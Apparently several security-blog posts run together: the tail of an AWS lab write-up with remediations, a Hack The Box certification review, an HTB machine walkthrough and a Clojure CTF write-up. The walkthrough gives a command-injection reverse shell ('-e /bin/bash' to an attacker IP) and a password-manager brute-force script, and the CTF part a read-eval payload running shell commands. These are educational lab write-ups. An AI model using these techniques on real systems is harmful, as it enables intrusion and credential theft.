$ aws secretsmanager get-secret-value --secret-id cgid6sd400b28h_final_flag --profile beanstalk-admin

FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}

Remediations

Three things would break this chain:

• Keep credentials out of Beanstalk environment variables. Store them in Secrets Manager or SSM Parameter Store and have the application resolve them at runtime, so DescribeConfigurationSettings returns a reference instead of a usable key.

• Scope iam:CreateAccessKey to arn:aws:iam::<ACCOUNT_ID>:user/${aws:username} so a user can only rotate their own keys.

• Alert on CloudTrail CreateAccessKey events where the caller identity doesn't match the target userName. That's the signal that survives the key rotation a responder would reach for first. Finally, tear the lab down so you're not leaving live IAM users and keys in your account:

I passed the CJCA, Hack The Box's first junior-level cert. If you're new to the field, take it. If you already work in security, skip it unless you can get it free.

I initially didn't plan to take this certification, but due to their new annual plan model, I had to take it so it wouldn't go to waste.

To set some expectations for you, the reader: I already work full-time in offensive security and organize local HTB community meetups, so the CJCA wasn't exactly on my radar.

Red and blue in one cert

When CJCA came out I assumed it was purely SOC operations. It has a solid penetration testing section too. It's refreshing to see a cert that gets new students touching both sides of the field.

Is it worth taking?

For newcomers, yes. It's one of the most budget-friendly options out there and the modules cover a lot of necessary fundamentals.

With prior experience, no, unless it's free. The exam is fun, but there's little value in paying for it once you're further along. Take the modules instead and prepare for something more specialized like CPTS, CWES, or CDSA.

Don't speedrun the modules

I did. As soon as my Silver Annual subscription activated, I burned through the modules on weekends, didn't overthink the material, and sat the exam as soon as I finished. Don't copy that.

HTB gives you all the information you need, and they don't test memorization; that's what cheatsheets and notes are for. What they test is whether you caught the small details. You'll dig back through your notes and find the answer sitting in a module where it got no emphasis at all.

How the five days went

The exam gives you five days for two phases: the penetration test, then SIEM alert validation and analysis.

I started on a Sunday night and kicked off some initial scanning. I was exhausted and had work the next day, so I left the exam running and went to sleep. On Day 2 I finished the first phase in under six hours. It was 6 AM when I finally pwned all of the machines.

Feeling restless, I started drafting the report and exploring the SIEM alerts. Right as I shifted focus, the SIEM returned a 503. The setup wouldn't let me restart that one machine, and I worried that restarting the whole environment would change the flags on the boxes I'd just pwned so my report wouldn't match. I asked around on Discord and decided to finish the entire pentest report before restarting and moving to phase 2.

Day 3 I poked around the SIEM more and validated about 25% of the alerts while wrapping up the report. Day 4 I locked in hard, and the log correlation needed to back every alert with evidence wore me down fast. At around 80% I stopped to clear my head, then powered through the rest, triple-checked everything, and submitted. I passed a week later.

Tips

• Use Sysreptor for the report. Play with it before the exam and start from an existing template. The templates give you the exact sections a commercial-grade report needs, so you fill in findings instead of fighting formatting.

• The modules are enough. Get comfortable with Elastic SIEM, experiment, learn how Sysmon logs are generated, and learn the patterns of normal versus malicious behavior. Outside labs won't hurt, but the Academy practice labs and skills assessments will get you there.

• Learn to enumerate. Sometimes people are lazy and leave important information sitting in plain sight. Research what you don't know: knowing what to search for gets you further than knowing the answer, and don't lose situational awareness.

Upon initial access, we perform local enumeration and discover a pswm file in a user's home directory. The file appears to contain encrypted credentials protected by a weak encryption scheme. We develop a script to brute-force the master password and successfully decrypt the file, obtaining user credentials.

Using these credentials, we escalate to a user account with unrestricted sudo privileges, ultimately gaining full root access to the system.

Reconnaissance

We start with a port scan against the target.

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9eTcP2DDxJHJ2uCdOmMRIPaoOhvMFXL33f1pZTIe0VTdeHRNYlpm2a2PumsO5t88M7QF3L3d6n1eRHTTAskGw=
|   256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJwLt0rmihlvq9pk6BmFhjTycNR54yApKIrnwI8xzYx/
80/tcp open  http    syn-ack Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Is it down or just me?
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There’s no other ports open, so let’s visit the site.

Web Application

We are greeted with a feature that checks if a site is down or not.

I started a python server and passed my tun0 ip as the url in the input.

I’ve tried different ssrf injection techniques like command injection or accessing the file system, but we had no luck, since the only allowed protocols are HTTP and HTTPS. I then set up an nc listener to see if we can get extra information about the service.

We can see that the webserver is using curl , which is a unix command-line utility. In curl, we can supply two urls, and it would send a request to both of the urls.

We have a user named aleks, but we couldn’t find any hard-coded credentials. So instead, we’ll look at the source code of the application in /var/www/html/index.php.

In the source code, we find an interesting code block that leads us to another feature, by passing “tcp“ to the expertmode parameter.

if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
  $ip = trim($_POST['ip']);
  $valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
  $port = trim($_POST['port']);
  $port_int = intval($port);
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
<SNIP>

In the source code, the code passes /usr/bin/nc through the function escapeshellcmd(), which calls the binary to the command line, we can exploit this feature and get a shell.

Shell as www-data

We set up an nc listener, and get a shell by adding -e /bin/bash to the enter a port number. We’ll use curl to call the function in the webapp. curl -X POST 'http://10.129.234.87/index.php?expertmode=tcp' -d "ip=10.10.14.41&port=8000 -e /bin/bash"

Let’s upgrade our shell and we can see that user.txt is in the current path we are in.

Privilege Escalation

Now, let’s explore the system. Earlier, we found a user aleks so let’s explore his directory. We can see that he has a file called pswm.

We look up what pswm is, and we come across a Github repository which leads us to a project called PSWM. There’s not much description about it, so let’s clone the repository and explore.

A simple command line password manager written in Python.

We install the required modules, using uv, and run the pswm binary. We are prompted to create a password, and we can see that it is stored in ~/.local/share/pswm/pswm, similarly in the linux machine.

Upon inspecting the source code, we can see that there is an option to decrypt the password, by first passing the master password to the function.

We can create a quick python script poc to bruteforce the master_password, in order for us to decrypt the pswm file. We just need to pass the pwsm file we found earlier and a wordlist that we can use to bruteforce the master_password.

import cryptocode
import sys

def usage():
    print(f"Usage: {sys.argv[0]} <pwsm file> <wordlist>")
    sys.exit(1)

if len(sys.argv) != 3:
    usage()

try:
    with open(sys.argv[1], 'r') as f:
        encrypted = f.read().strip()

    with open(sys.argv[2], 'r', errors='ignore') as f:
        for line in f:
            password = line.strip()
            if not password:
                continue
            decrypted = cryptocode.decrypt(encrypted, password)
            if decrypted:
                print(f"[+] Found password: {password}")
                print(decrypted)
                break
        else:
            print("[-] No valid password found.")
except FileNotFoundError as e:
    print(f"File error: {e}")
    sys.exit(1)

Let’s login as aleks.

Apparently, he has too much privileges. Let’s add our own ssh keys to the root user, and finally get our flag!

That’s pretty much it! This is my first box after purchasing VIP+ with my credit, I hope you learned something new!

Manifesto

This is an easy challenge, except... it's written in Clojure. Can you find your way through all of these parentheses and come out victorious? - @aelmo

After downloading the challenge files, the Dockerfile contained the flag, which indicates that we have to access a shell to perform command execution and access the environment variable.

ENV CLOJURE_PORT 80
ENV FLAG '0xL4ugh{this_is_a_fake_flag}'

EXPOSE 80

ENTRYPOINT ["lein", "run"]

The server is written in Clojure, which is a dynamic, general-purpose programming language, combining the approachability and interactive development of a scripting language with an efficient and robust infrastructure for multi-threaded programming.

Bypassing authentication

After exploring a bit, we found that we could only access /gist if we were logged in as admin. So first, we had to find a way to bypass the authentication and set our session as the admin. We ran the application in Burp, and after making some changes, we observed that it creates a request to change the preferred theme with an additional parameter.

(re-matches #"/" uri)
     (-> (r/response
          (render-file "index.html"
                       {:prefer (or (query-params "prefer") (session "prefer") "light")
                        :username (session "username")
                        :url uri}))
         (assoc :session (merge {"prefer" "light"} session query-params)))

The code above checks two parameters: prefer and username. Using this, we were able to bypass the authentication by passing the parameters as such: /?prefer=dark&username=admin.

We were now logged in as admin. While we could use other usernames to log in, we wouldn’t be able to access the /gist endpoint.

Command Injection

In the gist page, we are able to post a gist, and it will display the gist as seen in the picture. After inspecting the code, we are able to see the vulnerable function, which reads the input without prior sanitization.

 (= request-method :post)
           (let [{:strs [gist]} form-params]
             ;; clojure has excellent error handling capabilities
             (try
               (insert-gist (session "username") (read-string gist))
               (r/redirect "/gists")
               (catch Exception _ (json-response {:error "Something went wrong..."}))))

           :else
           (json-response {:error "Something went wrong..."}))

Here’s the snippet with the vulnerable input.

Clojure has a neat documentation, where we can find the clojure.java.shell namespace, which we could use to craft our payload.

In Clojure, there are different reader forms. In our case, we used a Macro Character #, which is essentially a shortcut for eval. We paired it with an equal sign =, allowing it to evaluate immediately during the read phase.

Our eval payload looked like this: #=().

The payload were as follows:

#=(require clojure.java.shell)
#=(clojure.java.shell/sh+"printenv")

We finally got the flag!

Final thoughts

This web challenge was really interesting overall, a few head scratches and frustration from reading this godforsaken syntax, but we always learn something new.

Special thanks to my team D0MBUSTERS, I’ve learned a lot from them just from this year alone.